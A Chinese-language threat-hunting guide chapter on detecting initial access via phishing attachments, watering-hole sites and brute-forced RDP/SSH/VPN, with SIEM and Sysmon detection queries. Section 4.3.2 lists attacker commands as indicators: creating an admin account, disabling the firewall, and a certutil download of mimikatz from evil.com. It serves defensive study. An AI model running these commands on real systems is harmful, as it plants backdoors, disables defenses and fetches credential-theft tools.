4. 初始访问 (Initial Access) 狩猎
各位同行,今天我们来聊聊初始访问阶段的威胁狩猎。说白了,就是攻击者怎么溜进你家的。我做了这么多年安全,见过太多案例——90%的入侵,第一步都出在这三个地方:钓鱼邮件、水坑下毒、远程服务爆破。
你想想看,攻击者又不是神仙,他们也得找个门进来。而这三个入口,就是他们最爱的「后门」。咱们一个一个拆解。
4.1 鱼叉式钓鱼附件狩猎
这是最老套但也最有效的手段。攻击者发一封看起来人模狗样的邮件,附件里藏着恶意宏、OLE对象或者漏洞利用文档。我见过最离谱的一次,对方伪装成「年终奖发放通知」,结果全公司一半人点了附件。
怎么抓?别指望用户自觉,你得靠技术手段。
4.1.1 邮件网关日志分析
我个人习惯,先看邮件网关的日志。重点关注几个字段:
- 附件类型:.docm、.xlsm、.js、.vbs、.exe 这些高危后缀
- 发件人信誉:外部陌生域名、拼写错误的域名(比如 micorsoft.com)
- 邮件头异常:Reply-To 和 From 不一致,SPF/DKIM 校验失败
举个例子,你可以写个简单的查询:
// 假设你用 Splunk 或 ELK
index=email_gateway sourcetype=smtp_logs
| where attachment_extension IN ("docm", "xlsm", "js", "vbs", "exe", "scr")
| eval suspicious = if(match(from_domain, ".*[0-9].*"), "数字域名", "正常")
| table timestamp, sender, recipient, attachment_name, suspicious
嗯,这里要注意:别只看附件后缀。攻击者现在学精了,喜欢用 .doc 或 .pdf 但里面嵌了恶意链接。所以你还得配合 URL 分析。
关键指标:如果同一个附件在短时间内发送给超过 5 个不同部门的人,且发件人来自外部,这基本就是钓鱼测试或真实攻击。我在项目中遇到过,攻击者用「会议纪要.docx」发给财务、人事、技术三个部门,结果财务部中招了。
4.1.2 端点行为检测
邮件网关只是第一道防线。如果用户手贱点了附件,你得看端点上的行为。我建议关注以下进程链:
- Office 进程启动 PowerShell:winword.exe → powershell.exe,这基本是恶意宏的标配
- Office 进程访问外部 IP:excel.exe 突然连到 45.33.32.156(一个常见 C2 地址)
- 进程注入:比如 wscript.exe 往 svchost.exe 里写代码
你可以用 Sysmon 或 EDR 来抓这些行为。我常用的检测规则长这样:
// Sysmon Event ID 1: Process Creation
// 检测 Office 进程启动脚本引擎
EventID=1
ParentImage IN ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE")
Image IN ("powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe")
| table ParentImage, Image, CommandLine, User
个人经验:我曾经抓过一个案例,攻击者用 Word 的 DDE 字段启动 cmd.exe,然后下载了一个 .ps1 脚本。这种手法现在少了,但老系统上依然存在。建议你重点关注 Office 进程的 CommandLine 里是否包含 "cmd /c" 或 "powershell -enc"。
4.2 水坑攻击狩猎
水坑攻击,说白了就是攻击者在你常去的网站上下毒。比如你们公司员工喜欢上某技术论坛,攻击者就黑掉那个论坛,挂个恶意 JS 或者 Flash 漏洞。
这种攻击最难防,因为你没法控制第三方网站。但我们可以从网络流量和端点行为两个角度去抓。
4.2.1 网络流量分析
我个人习惯,先看代理日志或 DNS 日志。水坑攻击有几个典型特征:
- 短时间内大量用户访问同一个外部域名:比如全公司突然都访问某个技术博客
- 该域名近期有 WHOIS 变更:注册人换了,或者 DNS 记录改了
- 页面加载了额外的 JS 资源:比如从某个不常见的 CDN 加载了 jquery.min.js(但实际是恶意脚本)
你可以这样查:
// 代理日志分析:找出异常的外部域名访问
index=proxy_logs
| stats count by dest_domain, src_ip
| where count > 50 // 假设全公司 100 人,50 次访问算异常
| lookup domain_reputation.csv dest_domain OUTPUT reputation
| where reputation == "unknown" OR reputation == "malicious"
避坑指南:我曾经遇到过一个案例,攻击者用了 Cloudflare 的 CDN 来托管恶意 JS。因为 Cloudflare 是白名单里的,代理日志根本不会报警。所以别完全依赖域名信誉库,还得看 JS 的行为。
4.2.2 端点行为检测
水坑攻击的最终目的是在用户浏览器里执行恶意代码。所以你得盯着浏览器的行为:
- 浏览器进程启动子进程:chrome.exe → cmd.exe,这基本是漏洞利用成功
- 浏览器进程写入文件:比如下载了一个 .exe 到 %TEMP% 目录
- 浏览器进程访问本地资源:比如 file:///C:/Windows/System32/ 这种异常访问
我常用的检测规则:
// 检测浏览器启动可疑子进程
EventID=1
ParentImage IN ("chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe")
Image IN ("powershell.exe", "cmd.exe", "wscript.exe", "rundll32.exe")
| table ParentImage, Image, CommandLine, User
关键点:水坑攻击的狩猎,核心在于 异常流量 + 异常行为 的组合。单看流量可能只是「访问了一个网站」,单看行为可能只是「浏览器卡了一下」。但两者结合起来,你就能发现端倪。
4.3 外部远程服务利用狩猎
这个就更有意思了。攻击者不跟你玩花活,直接暴力破解你的 RDP、SSH、VPN。你想想看,如果你的远程服务暴露在公网上,密码又是 123456,那跟请人家进来有什么区别?
4.3.1 暴力破解检测
最直接的检测方法,看登录日志。重点关注:
- 短时间内大量登录失败:比如 5 分钟内 100 次失败
- 登录源 IP 分散:同一个账号从多个 IP 尝试登录
- 登录时间异常:凌晨 3 点,非工作时间
你可以用 Windows 安全日志或 Linux auth.log 来查:
// Windows 安全日志:检测 RDP 暴力破解
EventID=4625 // 登录失败
| where LogonType == 10 // 远程交互式登录
| stats count by Account_Name, Source_Network_Address
| where count > 10 // 10 次失败就算可疑
个人经验:我见过最狠的暴力破解,攻击者用了 2000 个 IP 轮流尝试,每个 IP 只试 1 次。这种情况下,单看 IP 频率是没用的。你得看 账号维度的失败次数,或者用 时间序列分析 来检测异常登录模式。
4.3.2 成功登录后的异常行为
暴力破解只是第一步。如果攻击者真的登录成功了,你得看他进去后干了什么:
- 创建新用户:比如 net user hacker P@ssw0rd /add
- 添加管理员组:net localgroup Administrators hacker /add
- 关闭防火墙:netsh advfirewall set allprofiles state off
- 下载工具:比如 certutil -urlcache -f http://evil.com/mimikatz.exe
这些行为在 EDR 或 Sysmon 里都能抓到。我建议你重点关注 登录成功后的前 5 分钟 的行为:
// 检测登录成功后的异常命令
EventID=1
| where TimeCreated > (登录成功时间) AND TimeCreated < (登录成功时间 + 5分钟)
| where CommandLine CONTAINS "net user" OR CommandLine CONTAINS "net localgroup" OR CommandLine CONTAINS "certutil"
| table User, CommandLine, TimeCreated
避坑指南:我曾经遇到一个案例,攻击者登录成功后什么都没做,就挂了个 socks 代理在那。过了 3 天才开始横向移动。所以别只看「登录后立刻搞事」,有时候攻击者比你还有耐心。建议你建立 基线行为,比如某个管理员平时只从公司 IP 登录,突然从国外 IP 登录了,这就是异常。
4.4 总结与狩猎优先级
好了,咱们把这三个入口的狩猎方法捋一捋。我个人建议的优先级是这样的:
| 攻击类型 | 检测难度 | 危害程度 | 狩猎优先级 |
|---|---|---|---|
| 鱼叉式钓鱼附件 | 中 | 高 | 高(最常见) |
| 水坑攻击 | 高 | 中 | 中(依赖外部情报) |
| 外部远程服务利用 | 低 | 极高 | 极高(一旦成功就是内网沦陷) |
你想想看,远程服务利用一旦成功,攻击者就有了合法的身份和权限。这比钓鱼和水坑都难防。所以我建议你:先把 RDP、SSH、VPN 的日志管起来,然后才是邮件和代理日志。